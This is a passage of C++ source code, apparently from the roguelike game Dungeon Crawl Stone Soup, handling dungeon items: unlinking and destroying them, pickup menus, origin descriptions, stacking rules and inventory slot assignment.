{
if (ii->index() == dest)
{
item_def& item = *ii;
mons->inv[ii.slot()] = NON_ITEM;
item.pos.reset();
item.link = NON_ITEM;
return;
}
}
mprf(MSGCH_ERROR, "Item %s claims to be held by monster %s, but "
"it isn't in the monster's inventory.",
mitm[dest].name(DESC_PLAIN, false, true).c_str(),
mons->name(DESC_PLAIN, true).c_str());
// Don't return so the debugging code can take a look at it.
}
// Unlinking a newly created item, or a a temporary one, or an item in
// the player's inventory.
else if (mitm[dest].pos.origin() || mitm[dest].pos == ITEM_IN_INVENTORY)
{
mitm[dest].pos.reset();
mitm[dest].link = NON_ITEM;
return;
}
else
{
// Linked item on map:
//
// Use the items (x,y) to access the list (igrd[x][y]) where
// the item should be linked.
#if TAG_MAJOR_VERSION == 34
if (mitm[dest].pos.x != 0 || mitm[dest].pos.y < 5)
#endif
ASSERT_IN_BOUNDS(mitm[dest].pos);
// First check the top:
if (igrd(mitm[dest].pos) == dest)
{
// link igrd to the second item
igrd(mitm[dest].pos) = mitm[dest].link;
mitm[dest].pos.reset();
mitm[dest].link = NON_ITEM;
return;
}
// Okay, item is buried, find item that's on top of it.
for (stack_iterator si(mitm[dest].pos); si; ++si)
{
// Find item linking to dest item.
if (si->defined() && si->link == dest)
{
// unlink dest
si->link = mitm[dest].link;
mitm[dest].pos.reset();
mitm[dest].link = NON_ITEM;
return;
}
}
}
#ifdef DEBUG
// Okay, the sane ways are gone... let's warn the player:
mprf(MSGCH_ERROR, "BUG WARNING: Problems unlinking item '%s', (%d, %d)!!!",
mitm[dest].name(DESC_PLAIN).c_str(),
mitm[dest].pos.x, mitm[dest].pos.y);
// Okay, first we scan all items to see if we have something
// linked to this item. We're not going to return if we find
// such a case... instead, since things are already out of
// alignment, let's assume there might be multiple links as well.
bool linked = false;
int old_link = mitm[dest].link; // used to try linking the first
// Clean the relevant parts of the object.
mitm[dest].base_type = OBJ_UNASSIGNED;
mitm[dest].quantity = 0;
mitm[dest].link = NON_ITEM;
mitm[dest].pos.reset();
mitm[dest].props.clear();
// Look through all items for links to this item.
for (auto &item : mitm)
{
if (item.defined() && item.link == dest)
{
// unlink item
item.link = old_link;
if (!linked)
{
old_link = NON_ITEM;
linked = true;
}
}
}
// Now check the grids to see if it's linked as a list top.
for (int c = 2; c < (GXM - 1); c++)
for (int cy = 2; cy < (GYM - 1); cy++)
{
if (igrd[c][cy] == dest)
{
igrd[c][cy] = old_link;
if (!linked)
{
old_link = NON_ITEM; // cleaned after the first
linked = true;
}
}
}
// Okay, finally warn player if we didn't do anything.
if (!linked)
mprf(MSGCH_ERROR, "BUG WARNING: Item didn't seem to be linked at all.");
#endif
}
void destroy_item(item_def &item, bool never_created)
{
if (!item.defined())
return;
if (never_created)
{
if (is_unrandom_artefact(item))
set_unique_item_status(item, UNIQ_NOT_EXISTS);
}
item.clear();
}
void destroy_item(int dest, bool never_created)
{
// Don't destroy non-items, but this function may be called upon
// to remove items reduced to zero quantity, so we allow "invalid"
// objects in.
if (dest == NON_ITEM || !mitm[dest].defined())
return;
unlink_item(dest);
destroy_item(mitm[dest], never_created);
}
static void _handle_gone_item(const item_def &item)
{
if (player_in_branch(BRANCH_ABYSS)
&& item.orig_place.branch == BRANCH_ABYSS)
{
if (is_unrandom_artefact(item))
set_unique_item_status(item, UNIQ_LOST_IN_ABYSS);
}
}
void item_was_lost(const item_def &item)
{
_handle_gone_item(item);
xom_check_lost_item(item);
}
void item_was_destroyed(const item_def &item)
{
_handle_gone_item(item);
xom_check_destroyed_item(item);
}
void lose_item_stack(const coord_def& where)
{
for (stack_iterator si(where); si; ++si)
{
if (si ->defined()) // FIXME is this check necessary?
{
item_was_lost(*si);
si->clear();
}
}
igrd(where) = NON_ITEM;
}
/**
* How many movable items are there at a location?
*
* @param obj The item link for the location.
* @return The number of movable items at the location.
*/
int count_movable_items(int obj)
{
int result = 0;
for (stack_iterator si(obj); si; ++si)
{
if (!item_is_stationary(*si))
++result;
}
return result;
}
/**
* Fill the given vector with the items on the given location link.
*
* @param[out] items A vector to hold the item_defs of the item.
* @param[in] obj The location link; an index in mitm.
* @param exclude_stationary If true, don't include stationary items.
*/
vector<const item_def*> item_list_on_square(int obj)
{
vector<const item_def*> items;
for (stack_iterator si(obj); si; ++si)
items.push_back(& (*si));
return items;
}
bool need_to_autopickup()
{
return will_autopickup;
}
void request_autopickup(bool do_pickup)
{
will_autopickup = do_pickup;
}
bool item_is_branded(const item_def& item)
{
switch (item.base_type)
{
case OBJ_WEAPONS:
return get_weapon_brand(item) != SPWPN_NORMAL;
case OBJ_ARMOUR:
return get_armour_ego_type(item) != SPARM_NORMAL;
case OBJ_MISSILES:
return get_ammo_brand(item) != SPMSL_NORMAL;
default:
return false;
}
}
// 2 - artefact, 1 - glowing/runed, 0 - mundane
static int _item_name_specialness(const item_def& item)
{
if (item.base_type != OBJ_WEAPONS && item.base_type != OBJ_ARMOUR
&& item.base_type != OBJ_MISSILES && item.base_type != OBJ_JEWELLERY)
{
return 0;
}
// You can tell something is an artefact, because it'll have a
// description which rules out anything else.
if (is_artefact(item))
return 2;
// All unknown jewellery is worth looking at.
if (item.base_type == OBJ_JEWELLERY)
{
if (is_useless_item(item))
return 0;
return 1;
}
if (item_type_known(item))
{
if (item_is_branded(item))
return 1;
return 0;
}
if (item.flags & ISFLAG_COSMETIC_MASK)
return 1;
return 0;
}
static void _maybe_give_corpse_hint(const item_def& item)
{
if (!crawl_state.game_is_hints_tutorial())
return;
if (item.is_type(OBJ_CORPSES, CORPSE_BODY)
&& you.has_spell(SPELL_ANIMATE_SKELETON))
{
learned_something_new(HINT_ANIMATE_CORPSE_SKELETON);
}
}
string item_message(vector<const item_def *> const &items)
{
if (static_cast<int>(items.size()) >= Options.item_stack_summary_minimum)
{
string out_string;
vector<unsigned int> item_chars;
for (unsigned int i = 0; i < items.size() && i < 50; ++i)
{
cglyph_t g = get_item_glyph(*items[i]);
item_chars.push_back(g.ch * 0x100 +
(10 - _item_name_specialness(*(items[i]))));
}
sort(item_chars.begin(), item_chars.end());
int cur_state = -1;
string colour = "";
for (unsigned int i = 0; i < item_chars.size(); ++i)
{
const int specialness = 10 - (item_chars[i] % 0x100);
if (specialness != cur_state)
{
if (!colour.empty())
out_string += "</" + colour + ">";
switch (specialness)
{
case 2: colour = "yellow"; break; // artefact
case 1: colour = "white"; break; // glowing/runed
case 0: colour = "darkgrey"; break; // mundane
}
if (!colour.empty())
out_string += "<" + colour + ">";
cur_state = specialness;
}
out_string += stringize_glyph(item_chars[i] / 0x100);
if (i + 1 < item_chars.size()
&& (item_chars[i] / 0x100) != (item_chars[i+1] / 0x100))
{
out_string += ' ';
}
}
if (!colour.empty())
out_string += "</" + colour + ">";
return out_string;
}
vector<string> colour_names;
for (const item_def *it : items)
colour_names.push_back(menu_colour_item_name(*it, DESC_A));
return join_strings(colour_names.begin(), colour_names.end(), "; ");
}
void item_check()
{
describe_floor();
origin_set(you.pos());
ostream& strm = msg::streams(MSGCH_FLOOR_ITEMS);
auto items = item_list_on_square(you.visible_igrd(you.pos()));
if (items.empty())
return;
// Special case
if (items.size() == 1)
{
const item_def& it(*items[0]);
string name = menu_colour_item_name(it, DESC_A);
strm << "You see here " << name << '.' << endl;
_maybe_give_corpse_hint(it);
return;
}
string desc_string = item_message(items);
// Stack summary case
if (static_cast<int>(items.size()) >= Options.item_stack_summary_minimum)
mprf_nojoin(MSGCH_FLOOR_ITEMS, "Items here: %s.", desc_string.c_str());
else if (items.size() <= msgwin_lines() - 1)
{
mpr_nojoin(MSGCH_FLOOR_ITEMS, "Things that are here:");
mprf_nocap("%s", desc_string.c_str());
}
else
strm << "There are many items here." << endl;
if (items.size() > 2 && crawl_state.game_is_hints_tutorial())
{
// If there are 2 or more non-corpse items here, we might need
// a hint.
int count = 0;
for (const item_def *it : items)
{
_maybe_give_corpse_hint(*it);
if (it->base_type == OBJ_CORPSES)
continue;
if (++count > 1)
{
learned_something_new(HINT_MULTI_PICKUP);
break;
}
}
}
}
// Identify the object the player stepped on.
// Books are fully identified.
// Wands are only type-identified.
static bool _id_floor_item(item_def &item)
{
if (item.base_type == OBJ_BOOKS)
{
if (fully_identified(item))
return false;
// fix autopickup for previously-unknown books (hack)
if (item_needs_autopickup(item))
item.props["needs_autopickup"] = true;
set_ident_flags(item, ISFLAG_IDENT_MASK);
return true;
}
else if (item.base_type == OBJ_WANDS)
{
if (!get_ident_type(item))
{
// If the player doesn't want unknown wands picked up, assume
// they won't want this wand after it is identified.
bool should_pickup = item_needs_autopickup(item);
set_ident_type(item, true);
if (!should_pickup)
set_item_autopickup(item, AP_FORCE_OFF);
return true;
}
}
return false;
}
/// Auto-ID whatever stuff the player stands on.
void id_floor_items()
{
for (stack_iterator si(you.pos()); si; ++si)
_id_floor_item(*si);
}
void pickup_menu(int item_link)
{
int n_did_pickup = 0;
int n_tried_pickup = 0;
auto items = item_list_on_square(item_link);
ASSERT(items.size());
string prompt = "Pick up what? " + slot_description()
#ifdef TOUCH_UI
+ " (<Enter> or tap header to pick up)"
#else
+ " (_ for help)"
#endif
;
if (items.size() == 1 && items[0]->quantity > 1)
prompt = "Select pick up quantity by entering a number, then select the item";
vector<SelItem> selected = select_items(items, prompt.c_str(), false,
menu_type::pickup);
if (selected.empty())
canned_msg(MSG_OK);
redraw_screen();
update_screen();
string pickup_warning;
for (const SelItem &sel : selected)
{
// Moving the item might destroy it, in which case we can't
// rely on the link.
short next;
for (int j = item_link; j != NON_ITEM; j = next)
{
next = mitm[j].link;
if (&mitm[j] == sel.item)
{
if (j == item_link)
item_link = next;
int num_to_take = sel.quantity;
const bool take_all = (num_to_take == mitm[j].quantity);
iflags_t oldflags = mitm[j].flags;
clear_item_pickup_flags(mitm[j]);
// If we cleared any flags on the items, but the pickup was
// partial, reset the flags for the items that remain on the
// floor.
if (!move_item_to_inv(j, num_to_take))
{
n_tried_pickup++;
pickup_warning = "You can't carry that many items.";
if (mitm[j].defined())
mitm[j].flags = oldflags;
}
else
{
n_did_pickup++;
// If we deliberately chose to take only part of a
// pile, we consider the rest to have been
// "dropped."
if (!take_all && mitm[j].defined())
mitm[j].flags |= ISFLAG_DROPPED;
}
}
}
}
if (!pickup_warning.empty())
{
mpr(pickup_warning);
learned_something_new(HINT_FULL_INVENTORY);
}
if (n_did_pickup)
you.turn_is_over = true;
}
bool origin_known(const item_def &item)
{
return item.orig_place != level_id();
}
void origin_reset(item_def &item)
{
item.orig_place.clear();
item.orig_monnum = 0;
}
// We have no idea where the player found this item.
void origin_set_unknown(item_def &item)
{
if (!origin_known(item))
{
item.orig_place = level_id(BRANCH_DUNGEON, 0);
item.orig_monnum = 0;
}
}
// This item is starting equipment.
void origin_set_startequip(item_def &item)
{
if (!origin_known(item))
{
item.orig_place = level_id(BRANCH_DUNGEON, 0);
item.orig_monnum = -IT_SRC_START;
}
}
void origin_set_monster(item_def &item, const monster* mons)
{
if (!origin_known(item))
{
if (!item.orig_monnum)
item.orig_monnum = mons->type;
item.orig_place = level_id::current();
}
}
void origin_purchased(item_def &item)
{
// We don't need to check origin_known if it's a shop purchase
item.orig_place = level_id::current();
item.orig_monnum = -IT_SRC_SHOP;
}
void origin_acquired(item_def &item, int agent)
{
// We don't need to check origin_known if it's a divine gift
item.orig_place = level_id::current();
item.orig_monnum = -agent;
}
static string _milestone_rune(const item_def &item)
{
return string("found ") + item.name(DESC_A) + ".";
}
static void _milestone_check(const item_def &item)
{
if (item.base_type == OBJ_RUNES)
mark_milestone("rune", _milestone_rune(item));
else if (item_is_orb(item))
mark_milestone("orb", "found the Orb of Zot!");
}
static void _check_note_item(item_def &item)
{
if (item.flags & (ISFLAG_NOTED_GET | ISFLAG_NOTED_ID))
return;
if (item.base_type == OBJ_RUNES || item_is_orb(item) || is_artefact(item))
{
take_note(Note(NOTE_GET_ITEM, 0, 0, item.name(DESC_A),
origin_desc(item)));
item.flags |= ISFLAG_NOTED_GET;
// If it's already fully identified when picked up, don't take
// further notes.
if (fully_identified(item))
item.flags |= ISFLAG_NOTED_ID;
_milestone_check(item);
}
}
void origin_set(const coord_def& where)
{
for (stack_iterator si(where); si; ++si)
{
if (origin_known(*si))
continue;
si->orig_place = level_id::current();
}
}
static void _origin_freeze(item_def &item)
{
if (!origin_known(item))
{
item.orig_place = level_id::current();
_check_note_item(item);
}
}
static string _origin_monster_name(const item_def &item)
{
const monster_type monnum = static_cast<monster_type>(item.orig_monnum);
if (monnum == MONS_PLAYER_GHOST)
return "a player ghost";
else if (monnum == MONS_PANDEMONIUM_LORD)
return "a pandemonium lord";
return mons_type_name(monnum, DESC_A);
}
static string _origin_place_desc(const item_def &item)
{
return prep_branch_level_name(item.orig_place);
}
static bool _origin_is_special(const item_def &item)
{
return item.orig_place == level_id(BRANCH_DUNGEON, 0);
}
bool origin_describable(const item_def &item)
{
return origin_known(item)
&& !_origin_is_special(item)
&& !is_stackable_item(item)
&& item.quantity == 1
&& item.base_type != OBJ_CORPSES;
}
static string _article_it(const item_def &/*item*/)
{
// "it" is always correct, since gloves and boots also come in pairs.
return "it";
}
static bool _origin_is_original_equip(const item_def &item)
{
return _origin_is_special(item) && item.orig_monnum == -IT_SRC_START;
}
/**
* What god gifted this item to the player?
*
* @param item The item in question.
* @returns The god that gifted this item to the player, if any;
* else GOD_NO_GOD.
*/
god_type origin_as_god_gift(const item_def& item)
{
const god_type ogod = static_cast<god_type>(-item.orig_monnum);
if (ogod <= GOD_NO_GOD || ogod >= NUM_GODS)
return GOD_NO_GOD;
return ogod;
}
bool origin_is_acquirement(const item_def& item, item_source_type *type)
{
item_source_type junk;
if (type == nullptr)
type = &junk;
*type = IT_SRC_NONE;
const int iorig = -item.orig_monnum;
#if TAG_MAJOR_VERSION == 34
// Copy pasting is bad but this will autoupdate on version bump
if (iorig == AQ_CARD_GENIE)
{
*type = static_cast<item_source_type>(iorig);
return true;
}
#endif
if (iorig == AQ_SCROLL || iorig == AQ_WIZMODE)
{
*type = static_cast<item_source_type>(iorig);
return true;
}
return false;
}
string origin_desc(const item_def &item)
{
if (!origin_describable(item))
return "";
if (_origin_is_original_equip(item))
return "Original Equipment";
string desc;
if (item.orig_monnum)
{
if (item.orig_monnum < 0)
{
int iorig = -item.orig_monnum;
switch (iorig)
{
case IT_SRC_SHOP:
desc += "You bought " + _article_it(item) + " in a shop ";
break;
case IT_SRC_START:
desc += "Buggy Original Equipment: ";
break;
case AQ_SCROLL:
desc += "You acquired " + _article_it(item) + " ";
break;
#if TAG_MAJOR_VERSION == 34
case AQ_CARD_GENIE:
desc += "You drew the Genie ";
break;
#endif
case AQ_WIZMODE:
desc += "Your wizardly powers created "+ _article_it(item)+ " ";
break;
default:
if (iorig > GOD_NO_GOD && iorig < NUM_GODS)
{
desc += god_name(static_cast<god_type>(iorig))
+ " gifted " + _article_it(item) + " to you ";
}
else
{
// Bug really.
desc += "You stumbled upon " + _article_it(item) + " ";
}
break;
}
}
else if (item.orig_monnum == MONS_DANCING_WEAPON)
desc += "You subdued it ";
else
{
desc += "You took " + _article_it(item) + " off "
+ _origin_monster_name(item) + " ";
}
}
else
desc += "You found " + _article_it(item) + " ";
desc += _origin_place_desc(item);
return desc;
}
/**
* Pickup a single item stack at the given location link
*
* @param link The location link
* @param qty If 0, prompt for quantity of that item to pick up, if < 0,
* pick up the entire stack, otherwise pick up qty of the item.
* @return True if any item was picked up, false otherwise.
*/
bool pickup_single_item(int link, int qty)
{
ASSERT(link != NON_ITEM);
item_def* item = &mitm[link];
if (item_is_stationary(mitm[link]))
{
mpr("You can't pick that up.");
return false;
}
if (item->base_type == OBJ_GOLD && !qty && !i_feel_safe()
&& !yesno("Are you sure you want to pick up this pile of gold now?",
true, 'n'))
{
canned_msg(MSG_OK);
return false;
}
if (qty == 0 && item->quantity > 1 && item->base_type != OBJ_GOLD)
{
const string prompt
= make_stringf("Pick up how many of %s (; or enter for all)? ",
item->name(DESC_THE, false,
false, false).c_str());
qty = prompt_for_quantity(prompt.c_str());
if (qty == -1)
qty = item->quantity;
else if (qty == 0)
{
canned_msg(MSG_OK);
return false;
}
else if (qty < item->quantity)
{
// Mark rest item as not eligible for autopickup.
item->flags |= ISFLAG_DROPPED;
item->flags &= ~ISFLAG_THROWN;
}
}
if (qty < 1 || qty > item->quantity)
qty = item->quantity;
iflags_t oldflags = item->flags;
clear_item_pickup_flags(*item);
const bool pickup_succ = move_item_to_inv(link, qty);
if (item->defined())
item->flags = oldflags;
if (!pickup_succ)
{
mpr("You can't carry that many items.");
learned_something_new(HINT_FULL_INVENTORY);
return false;
}
return true;
}
bool player_on_single_stack()
{
int o = you.visible_igrd(you.pos());
if (o == NON_ITEM)
return false;
else
return mitm[o].link == NON_ITEM && mitm[o].quantity > 1;
}
/**
* Do the pickup command.
*
* @param partial_quantity If true, prompt for a quantity to pick up when
* picking up a single stack.
*/
void pickup(bool partial_quantity)
{
int keyin = 'x';
int o = you.visible_igrd(you.pos());
const int num_items = count_movable_items(o);
// Store last_pickup in case we need to restore it.
// Then clear it to fill with items picked up.
map<int,int> tmp_l_p = you.last_pickup;
you.last_pickup.clear();
if (o == NON_ITEM)
mpr("There are no items here.");
else if (you.form == transformation::ice_beast
&& grd(you.pos()) == DNGN_DEEP_WATER)
{
mpr("You can't reach the bottom while floating on water.");
}
else if (num_items == 1) // just one movable item?
{
// Get the link to the movable item in the pile.
while (item_is_stationary(mitm[o]))
o = mitm[o].link;
pickup_single_item(o, partial_quantity ? 0 : mitm[o].quantity);
}
else if (Options.pickup_menu_limit
&& num_items > (Options.pickup_menu_limit > 0
? Options.pickup_menu_limit
: Options.item_stack_summary_minimum - 1))
{
pickup_menu(o);
}
else
{
int next;
if (num_items == 0)
mpr("There are no objects that can be picked up here.");
else
mpr("There are several objects here.");
string pickup_warning;
bool any_selectable = false;
while (o != NON_ITEM)
{
// Must save this because pickup can destroy the item.
next = mitm[o].link;
if (item_is_stationary(mitm[o]))
{
o = next;
continue;
}
any_selectable = true;
if (keyin != 'a')
{
string prompt = "Pick up %s? ((y)es/(n)o/(a)ll/(m)enu/*?g,/q)";
mprf(MSGCH_PROMPT, prompt.c_str(),
menu_colour_item_name(mitm[o], DESC_A).c_str());
mouse_control mc(MOUSE_MODE_YESNO);
keyin = getch_ck();
}
if (keyin == '*' || keyin == '?' || keyin == ',' || keyin == 'g'
|| keyin == 'm' || keyin == CK_MOUSE_CLICK)
{
pickup_menu(o);
break;
}
if (keyin == 'q' || key_is_escape(keyin))
{
canned_msg(MSG_OK);
break;
}
if (keyin == 'y' || keyin == 'a')
{
int num_to_take = mitm[o].quantity;
const iflags_t old_flags(mitm[o].flags);
clear_item_pickup_flags(mitm[o]);
// attempt to actually pick up the object.
if (!move_item_to_inv(o, num_to_take))
{
pickup_warning = "You can't carry that many items.";
mitm[o].flags = old_flags;
}
}
o = next;
if (o == NON_ITEM && keyin != 'y' && keyin != 'a')
canned_msg(MSG_OK);
}
// If there were no selectable items (all corpses, for example),
// list them.
if (!any_selectable)
{
for (stack_iterator si(you.pos(), true); si; ++si)
mprf_nocap("%s", menu_colour_item_name(*si, DESC_A).c_str());
}
if (!pickup_warning.empty())
mpr(pickup_warning);
}
if (you.last_pickup.empty())
you.last_pickup = tmp_l_p;
}
bool is_stackable_item(const item_def &item)
{
if (!item.defined())
return false;
switch (item.base_type)
{
case OBJ_MISSILES:
case OBJ_SCROLLS:
case OBJ_POTIONS:
case OBJ_GOLD:
#if TAG_MAJOR_VERSION == 34
case OBJ_FOOD:
#endif
return true;
case OBJ_MISCELLANY:
switch (item.sub_type)
{
case MISC_PHANTOM_MIRROR:
case MISC_ZIGGURAT:
#if TAG_MAJOR_VERSION == 34
case MISC_SACK_OF_SPIDERS:
#endif
case MISC_BOX_OF_BEASTS:
return true;
default:
break;
}
default:
break;
}
return false;
}
bool items_similar(const item_def &item1, const item_def &item2)
{
// Base and sub-types must always be the same to stack.
if (item1.base_type != item2.base_type || item1.sub_type != item2.sub_type)
return false;
if (item1.base_type == OBJ_GOLD || item1.base_type == OBJ_RUNES)
return true;
if (is_artefact(item1) != is_artefact(item2))
return false;
else if (is_artefact(item1)
&& get_artefact_name(item1) != get_artefact_name(item2))
{
return false;
}
// Missiles with different egos shouldn't merge.
if (item1.base_type == OBJ_MISSILES && item1.brand != item2.brand)
return false;
// Don't merge trapping nets with other nets.
if (item1.is_type(OBJ_MISSILES, MI_THROWING_NET)
&& item1.net_placed != item2.net_placed)
{
return false;
}
#define NO_MERGE_FLAGS (ISFLAG_MIMIC | ISFLAG_SUMMONED)
if ((item1.flags & NO_MERGE_FLAGS) != (item2.flags & NO_MERGE_FLAGS))
return false;
// The inscriptions can differ if one of them is blank, but if they
// are differing non-blank inscriptions then don't stack.
if (item1.inscription != item2.inscription
&& !item1.inscription.empty() && !item2.inscription.empty())
{
return false;
}
return true;
}
bool items_stack(const item_def &item1, const item_def &item2)
{
// Both items must be stackable.
if (!is_stackable_item(item1) || !is_stackable_item(item2)
|| static_cast<long long>(item1.quantity) + item2.quantity
> numeric_limits<decltype(item1.quantity)>::max())
{
return false;
}
return items_similar(item1, item2)
// Don't leak information when checking if an "(unknown)" shop item
// matches an unidentified item in inventory.
&& fully_identified(item1) == fully_identified(item2);
}
static int _userdef_find_free_slot(const item_def &i)
{
#ifdef CLUA_BINDINGS
int slot = -1;
if (!clua.callfn("c_assign_invletter", "i>d", &i, &slot))
return -1;
return slot;
#else
return -1;
#endif
}
int find_free_slot(const item_def &i)
{
#define slotisfree(s) \
((s) >= 0 && (s) < ENDOFPACK && !you.inv[s].defined())
bool searchforward = false;
// If we're doing Lua, see if there's a Lua function that can give
// us a free slot.
int slot = _userdef_find_free_slot(i);
if (slot == -2 || Options.assign_item_slot == SS_FORWARD)
searchforward = true;
if (slotisfree(slot))
return slot;
// See if the item remembers where it's been. Lua code can play with
// this field so be extra careful.
if (isaalpha(i.slot))
slot = letter_to_index(i.slot);
if (slotisfree(slot))
return slot;
FixedBitVector<ENDOFPACK> disliked;
if (i.base_type == OBJ_POTIONS)
disliked.set('y' - 'a');
if (!searchforward)
{
// This is the new default free slot search. We look for the last
// available slot that does not leave a gap in the inventory.
for (slot = ENDOFPACK - 1; slot >= 0; --slot)
{
if (you.inv[slot].defined())
{
if (slot + 1 < ENDOFPACK && !you.inv[slot + 1].defined()
&& !disliked[slot + 1])
{
return slot + 1;
}
}
else
{
if (slot + 1 < ENDOFPACK && you.inv[slot + 1].defined()
&& !disliked[slot])
{
return slot;
}
}
}
}
// Either searchforward is true, or search backwards failed and
// we re-try searching the opposite direction.
int badslot = -1;
// Return first free slot
for (slot = 0; slot < ENDOFPACK; ++slot)
if (!you.inv[slot].defined())
{
if (disliked[slot])
badslot = slot;
else
return slot;
}
// If the least preferred slot is the only choice, so be it.
return badslot;
#undef slotisfree
}
static void _got_item(item_def& item)
{
seen_item(item);
shopping_list.cull_identical_items(item);
item.flags |= ISFLAG_HANDLED;
if (item.props.exists("needs_autopickup"))
item.props.erase("needs_autopickup");
}
void get_gold(const item_def& item, int quant, bool quiet)
{
you.attribute[ATTR_GOLD_FOUND] += quant;
if (you_worship(GOD_ZIN))
quant -= zin_tithe(item, quant, quiet);
if (quant <= 0)
return;
you.add_gold(quant);
if (!quiet)
{
const string gain = quant != you.gold
? make_stringf(" (gained %d)", quant)
: "";
mprf("You now have %d gold piece%s%s.",
you.gold, you.gold != 1 ? "s" : "", gain.c_str());
learned_something_new(HINT_SEEN_GOLD);
}
}
void note_inscribe_item(item_def &item)
{
_autoinscribe_item(item);
_origin_freeze(item);
_check_note_item(item);
}
static bool _put_item_in_inv(item_def& it, int quant_got, bool quiet, bool& put_in_inv)
{
put_in_inv = false;
if (item_is_stationary(it))
{
if (!quiet)
mpr("You can't pick that up.");
// Fake a successful pickup (return 1), so we can continue to
// pick up anything else that might be on this square.
return true;
}
// sanity
if (quant_got > it.quantity || quant_got <= 0)
quant_got = it.quantity;
// attempt to put the item into your inventory.
int inv_slot;
if (_merge_items_into_inv(it, quant_got, inv_slot, quiet))
{
put_in_inv = true;
// cleanup items that ended up in an inventory slot (not gold, etc)
if (inv_slot != -1)
_got_item(you.inv[inv_slot]);
else if (it.base_type == OBJ_BOOKS)
_got_item(it);
_check_note_item(inv_slot == -1 ? it : you.inv[inv_slot]);
return true;
}
return false;
}
// Currently only used for moving shop items into inventory, since they are
// not in mitm. This doesn't work with partial pickup, because that requires
// an mitm slot...
bool move_item_to_inv(item_def& item)
{
bool junk;
return _put_item_in_inv(item, item.quantity, false, junk);
}
/**
* Move the given item and quantity to the player's inventory.
*
* @param obj The item index in mitm.
* @param quant_got The quantity of this item to move.
* @param quiet If true, most messages notifying the player of item pickup (or
* item pickup failure) aren't printed.
* @returns false if items failed to be picked up because of a full inventory,
* true otherwise (even if nothing was picked up).
*/
bool move_item_to_inv(int obj, int quant_got, bool quiet)
{
item_def &it = mitm[obj];
const coord_def old_item_pos = it.pos;
bool actually_went_in = false;
const bool keep_going = _put_item_in_inv(it, quant_got, quiet, actually_went_in);
if ((it.base_type == OBJ_RUNES || item_is_orb(it) || in_bounds(old_item_pos))
&& actually_went_in)
{
dungeon_events.fire_position_event(dgn_event(DET_ITEM_PICKUP,
you.pos(), 0, obj,
-1),
you.pos());
// XXX: Waiting until now to decrement the quantity may give Windows
// tiles players the opportunity to close the window and duplicate the
// item (a variant of bug #6486). However, we can't decrement the
// quantity before firing the position event, because the latter needs
// the object's index.
dec_mitm_item_quantity(obj, quant_got);
you.turn_is_over = true;
}
return keep_going;
}
static void _get_book(const item_def& it)
{
mprf("You pick up %s and begin reading...", it.name(DESC_A).c_str());
if (!library_add_spells(spells_in_book(it)))
mpr("Unfortunately, you learned nothing new.");
}
// Adds all books in the player's inventory to library.
// Declared here for use by tags to load old saves.
// Outside of loading old saves, only used at character creation.
void add_held_books_to_library()
{
for (item_def& it : you.inv)
{
if (it.base_type == OBJ_BOOKS && it.sub_type != BOOK_MANUAL)
{
_get_book(it);
destroy_item(it);
}
}
}
/**
* Place a rune into the player's inventory.
*
* @param it The item (rune) to pick up.
* @param quiet Whether to suppress (most?) messages.
*/
static void _get_rune(const item_def& it, bool quiet)
{
if (!you.runes[it.sub_type])
you.runes.set(it.sub_type);
if (!quiet)
{
flash_view_delay(UA_PICKUP, rune_colour(it.sub_type), 300);
mprf("You pick up the %s rune and feel its power.",
rune_type_name(it.sub_type));
int nrunes = runes_in_pack();
if (nrunes >= you.obtainable_runes)
mpr("You have collected all the runes! Now go and win!");
else if (nrunes == ZOT_ENTRY_RUNES)
{
// might be inappropriate in new Sprints, please change it then
mprf("%d runes! That's enough to enter the realm of Zot.",
nrunes);
}
else if (nrunes > 1)
mprf("You now have %d runes.", nrunes);
mpr("Press } to see all the runes you have collected.");
}
if (it.sub_type == RUNE_ABYSSAL)
mpr("You feel the abyssal rune guiding you out of this place.");
}
/**
* Place the Orb of Zot into the player's inventory.
*/
static void _get_orb()
{
run_animation(ANIMATION_ORB, UA_PICKUP);
mprf(MSGCH_ORB, "You pick up the Orb of Zot!");
if (bezotted())
mpr("Zot can harm you no longer.");
env.orb_pos = you.pos(); // can be wrong in wizmode
orb_pickup_noise(you.pos(), 30);
start_orb_run(CHAPTER_ESCAPING, "Now all you have to do is get back out "
"of the dungeon!");
}
/**
* Attempt to merge a stackable item into an existing stack in the player's
* inventory.
*
* @param it[in] The stack to merge.
* @param quant_got The quantity of this item to place.
* @param inv_slot[out] The inventory slot the item was placed in. -1 if
* not placed.
* @param quiet Whether to suppress pickup messages.
*/
static bool _merge_stackable_item_into_inv(const item_def &it, int quant_got,
int &inv_slot, bool quiet)
{
for (inv_slot = 0; inv_slot < ENDOFPACK; inv_slot++)
{
if (!items_stack(you.inv[inv_slot], it))
continue;
// If the object on the ground is inscribed, but not
// the one in inventory, then the inventory object
// picks up the other's inscription.
if (!(it.inscription).empty()
&& you.inv[inv_slot].inscription.empty())
{
you.inv[inv_slot].inscription = it.inscription;
}
inc_inv_item_quantity(inv_slot, quant_got);
you.last_pickup[inv_slot] = quant_got;
if (!quiet)
{
#ifdef USE_SOUND
parse_sound(PICKUP_SOUND);
#endif
mprf_nocap("%s (gained %d)",
menu_colour_item_name(you.inv[inv_slot],
DESC_INVENTORY).c_str(),
quant_got);
}
return true;
}
inv_slot = -1;
return false;
}
/**
* Attempt to merge a wands charges into an existing wand of the same type in
* inventory.
*
* @param it[in] The wand to merge.
* @param inv_slot[out] The inventory slot the wand was placed in. -1 if
* not placed.
* @param quiet Whether to suppress pickup messages.
*/
static bool _merge_wand_charges(const item_def &it, int &inv_slot, bool quiet)
{
for (inv_slot = 0; inv_slot < ENDOFPACK; inv_slot++)
{
if (you.inv[inv_slot].base_type != OBJ_WANDS
|| you.inv[inv_slot].sub_type != it.sub_type)
{
continue;
}
you.inv[inv_slot].charges += it.charges;
if (!quiet)
{
#ifdef USE_SOUND
parse_sound(PICKUP_SOUND);
#endif
mprf_nocap("%s (gained %d charge%s)",
menu_colour_item_name(you.inv[inv_slot],
DESC_INVENTORY).c_str(),
it.charges, it.charges == 1 ? "" : "s");
}
return true;
}
inv_slot = -1;
return false;
}
/**
* Maybe move an item to the slot given by the item_slot option.
*
* @param[in] item the item to be checked. Note that any references to this
* item will be invalidated by the swap_inv_slots call!
* @returns the new location of the item if it was moved, null otherwise.
*/
item_def *auto_assign_item_slot(item_def& item)
{
if (!item.defined())
return nullptr;
if (!in_inventory(item))
return nullptr;
int newslot = -1;
bool overwrite = true;
// check to see whether we've chosen an automatic label:
for (auto& mapping : Options.auto_item_letters)
{
if (!mapping.first.matches(item.name(DESC_QUALNAME))
&& !mapping.first.matches(item_prefix(item)
+ " " + item.name(DESC_A)))
{
continue;
}
for (char i : mapping.second)
